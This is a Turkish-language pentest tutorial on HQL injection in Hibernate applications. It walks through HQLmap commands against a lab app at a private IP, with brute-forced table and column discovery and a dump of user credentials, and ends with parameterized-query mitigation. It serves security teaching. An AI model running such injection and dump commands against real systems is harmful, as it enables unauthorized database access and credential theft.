HQL Injection Saldırılarında HQLmap Kullanımı

Hibernate nedir ?
Hibernate verilerin saklanması, güncellenmesi, silinmesi gibi işlemleri nesne tabanlı modele göre kolaylaştırmak için kullanılan bir java teknolojisidir. Nesne tabanlı alan modelini geleneksel ilişkisel veritabanına çevirmeye yarar (ORM).  .Net versiyonu için de NHibernate kullanılır.
Hibernate Query Language (HQL)

Şekilde de görüldüğü gibi, oluşturulan HQL sorgusu direk olarak veritabanına gönderilmez. İlk olarak Hibernate Engine tarafından parse edilir, yorumlanır ve daha sonra SQL sorgusuna çevirilir. Bu bilgi neden önemlidir ? Çünkü pentest çalışmalarında alacağımız hataların veritabanı ve hibernate engine olmak üzere iki kaynaktan gelebilecek olduğunu bilmek zorundayız.

HQL Injection saldırılarının en zorlayıcı tarafı, SQLi ‘den alışkın olduğumuz pentestlerde işimizi kolaylaştıran bazı veritabanı özelliklerini kullanamıyor olmamızdır. Bunun nedeni üstte de belirttiğim gibi girilen sorguların hibernate engine tarafından parse edilip, daha sonra yorumlanarak SQL sorugusuna çevirilmesidir.
Bu sebeplerden dolayı manuel olarak HQL Injection testleri yapmak oldukça zahmetli bir hal alabilmektedir. Bunun için HQL Injection saldırılarını otomatize eden HQLmap aracı yazılmıştır. HQL Injection zaafiyetlerinin nasıl tesbit edilebileceği hakkında biraz temel bilgi verip, HQLmap kullanımına geçelim.
HQL Injection Zaafiyet Tespiti
Örnek olarak aşağıdaki gibi bir arama yaptığımızı düşünelim,

Screen Shot 2014-02-25 at 13.46.43.png

q parametresi ile alınan değer veritabanında kontrol edilip, uygun olan kayıtlar kullanıcıya sunulmaktadır. q parametresine ‘ göndererek neler olacağına bakalım ;

Screen Shot 2014-02-25 at 13.53.08.png

resimde görüldüğü gibi bir hata ile karşılaştık. Aldığımız hata q parametresi ile gelen değerin kontrol edilmeden sorguya eklendiği konusunda bize bilgi veriyor. HQL Injection zaafiyeti olduğu kanısına varabiliriz.
Daha emin olmak için SQLi’deki gibi bütün verileri çekmeye çalışalım ;

son.png

görüldüğü gibi sorugumuz sorunsuz çalıştı ve tüm verileri görüntülemiş olduk.
HQLmap
HQLmap, HQL Injection saldırılarını otomatize etmek için python dili ile yazılmış bir araçtır. Bruteforce ile tablo, kolon bulma ve bunları dump etme özellikleri vardır.
https://github.com/PaulSec/HQLmap adresinden araca ulaşılabilir.
Kullanımı ;
# python HQLmap.py
şeklinde parametresiz çalıştırdığınızda kullanımı hakkında bilgilere ulaşabilirsiniz.
Usage: HQLmap.py [options]

Options:
 -h, –help            show this help message and exit
 –url=URL             qURL to pentest
 –cookie=COOKIE       Cookie to test it
 –param=PARAM         Param to test
 –postdata=POSTDATA   Postdata (POST Method)  
 –message=BLIND_HQLI_MESSAGE
                       Message appearing while Blind HQLi
 –tables              Tries to gather as much tables as possible (With
                       Bruteforce)
 –T=TABLE             Name of the table you want to get
 –table_name_file=FILE_TABLE
                       DB file for name of tables
 –columns             Tries to gather as much columns as possible (With
                       Bruteforce)
 –C=COLUMN            Name of the column you want to get
 –column_name_file=FILE_COLUMN
                       DB file for name of columns
 –check               Check if host is vulnerable
 –user                Tries to get user() from dbms
 –count               Get count of specified table(s)
 –dump                Dump specified table(s) / column(s)
 –results             Enumerate results after session
 –verbose             Verbose mode
# python HQLmap.py –url=”http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search” –param=q –cookie=”JSESSIONID=08B82EF8B0007DBF07513A79845E722C” –check
–url parametresi ile test edilecek adres, –param parametresi ile test edilecek parametre, –cookie parametresi ile Cookie bilgileri verilmiş ve –chech parametresi ile adresinden HQLi zaafiyeti içerip, içermediği test edilmesi istenmiştir.
Çıktı : Host seems vulnerable.
# python HQLmap.py –url=”http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search” –param=q –cookie=”JSESSIONID=08B82EF8B0007DBF07513A79845E722C” –tables
–tables parametresi verilerek, tablo isimlerinin bulunması istenmiştir. HQLmap tablo isimlerini db/tables.db dosyası içerisindeki olası tablo isimlerini deneyerek bulmaya çalışır.
Çıktı :
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
# python HQLmap.py –url=”http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search” –param=q –cookie=”JSESSIONID=08B82EF8B0007DBF07513A79845E722C” –tables –columns
–columns parametresi ile tabloların kolonları ile bulunması istenmiştir. HQLmap kolon bulurken de db/columns.db içerisindeki olası kolon isimlerini deneyerek bulmaya çalışır.
Çıktı :
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
# python HQLmap.py –url=”http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search” –param=q –cookie=”JSESSIONID=08B82EF8B0007DBF07513A79845E722C” –T=User –columns
–T parametresi ile User tablosu seçildi ve seçilen tablonun kolonları db/columns.db dosyasındaki olası kolon isimleri denenerek bulunmaya çalışıldı.
Çıktı :
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
# python HQLmap.py –url=”http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search” –param=q –cookie=”JSESSIONID=08B82EF8B0007DBF07513A79845E722C” –T=User –columns –dump
–dump parametresi ile –T parametresi ile belirtilmiş tablo üzerindeki kolonların içinde bulunan veriler çelilmiştir. İstenirse –C paramtresi ile istenilen kolon belirtilerek sadece o kolonun verilerinin çekilmesi de sağlanabilir.
Çıktı :
[User]
 [Id]
    – 1
    – 2
    – 3
[User]
 [Username]
    – bob
    – alice
    – admin
[User]
 [Password]
    – password
    – password
    – password
[User]
 [Email]
    – bob@continuumsecurity.net
    – alice@continuumsecurity.net
    – admin@continuumsecurity.net
[User]
 [Firstname]
    – Robert
    – Alice
    – Administrator
[User]
 [Lastname]
    – McBride
    – O'Reilly
    – Reynolds
HQL Injection Saldırılarından Korunma
Hatalı kullanım ;
List results = session.createQuery(“from Orders as orders where orders.id = ” + currentOrder.getId()).list();
Kullanıcıdan alınan veriler mutlaka kontrol edilmeli, sorgu ondan sonra oluşturulmalıdır.
Doğru kullanım ;
Query hqlQuery = session.createQuery(“from Orders as orders where orders.id = ?”);
List results = hqlQuery.setString(0, “123-ADB-567-QTWYTFDL”).list();
Yararlanılan Kaynaklar ;
Fatih ERSINADIM